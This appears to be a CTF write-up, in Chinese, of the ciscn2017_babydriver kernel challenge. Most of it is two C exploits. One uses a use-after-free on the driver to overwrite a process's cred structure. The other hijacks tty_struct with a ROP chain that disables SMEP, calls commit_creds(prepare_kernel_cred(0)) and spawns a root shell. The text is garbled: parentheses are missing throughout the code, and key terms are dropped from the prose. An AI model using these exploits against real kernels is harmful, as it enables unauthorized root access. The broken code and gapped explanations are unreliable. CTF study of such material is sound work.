kernel UAF && 劫持tty_struct
ciscn2017_babydriver
进程时会申请堆来存放。cred结构大小为0xA8。修改里的,为0,即可get root
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(
{
int fd1 = open("/dev/babydev", 2;
int fd2 = open("/dev/babydev", 2;
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0
{
puts("[-] open error";
exit(-1;
}
ioctl(fd1, 0x10001, 0xa8;
close(fd1;
int pid = fork(;
if(pid < 0
{
puts("[-] fork error";
exit(-1;
}
else if(pid == 0
{
write(fd2, buf, 28;
if(getuid( == 0
{
puts("[+] root now";
system("/bin/sh";
}
}
else
{
wait(NULL;
}
close(fd2;
return 0;
}
exp2
打开时会申请一个大小为的结构体,的位置是里面存放了函数指针,劫持这个结构体可实现栈迁移。
劫持指针,则是的地址,劫持指针,则是的地址
补充一下:在开启 的情况下直接返回用户态会 ,可以把原来的返回地址 函数设为 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。()
当然我们可以直接用 直接绕过 ,可能由于本题内核是一个过渡版本还没有而是,我并没能找到这个函数。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
void save_status(
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
;
puts("[+] save the state success!";
}
void get_shell(
{
if (getuid( == 0
{
puts("[+] get root";
system("/bin/sh";
puts("[*] get shell";
}
else
{
puts("[-] get shell error";
sleep(5;
exit(0;
}
}
void get_root(
{
//commit_creds(prepare_kernel_cred(0
void *(*pkc(int = (void *(*(intprepare_kernel_cred;
void (*cc(void * = (void (*(void *commit_creds;
(*cc((*pkc(0;
}
int main(
{
signal(11, (size_tget_shell;
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};
save_status(;
int fd1 = open("/dev/babydev", 2;
int fd2 = open("/dev/babydev", 2;
if(fd1 <0 || fd2 < 0
{
puts("[-] open babydev error";
sleep(5;
exit(0;
}
ioctl(fd1, 0x10001, 0x2e0;
close(fd1;
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY;
if(fd_tty < 0
{
puts("[-] open ptmx error";
sleep(5;
exit(0;
}
int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_tget_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_tget_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_trop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;
read(fd2, fake_tty_struct, 32;
fake_tty_struct[3] = (size_tfake_tty_operations;
write(fd2, fake_tty_struct, 32;
write(fd_tty,"FXC",3;
return 0;
}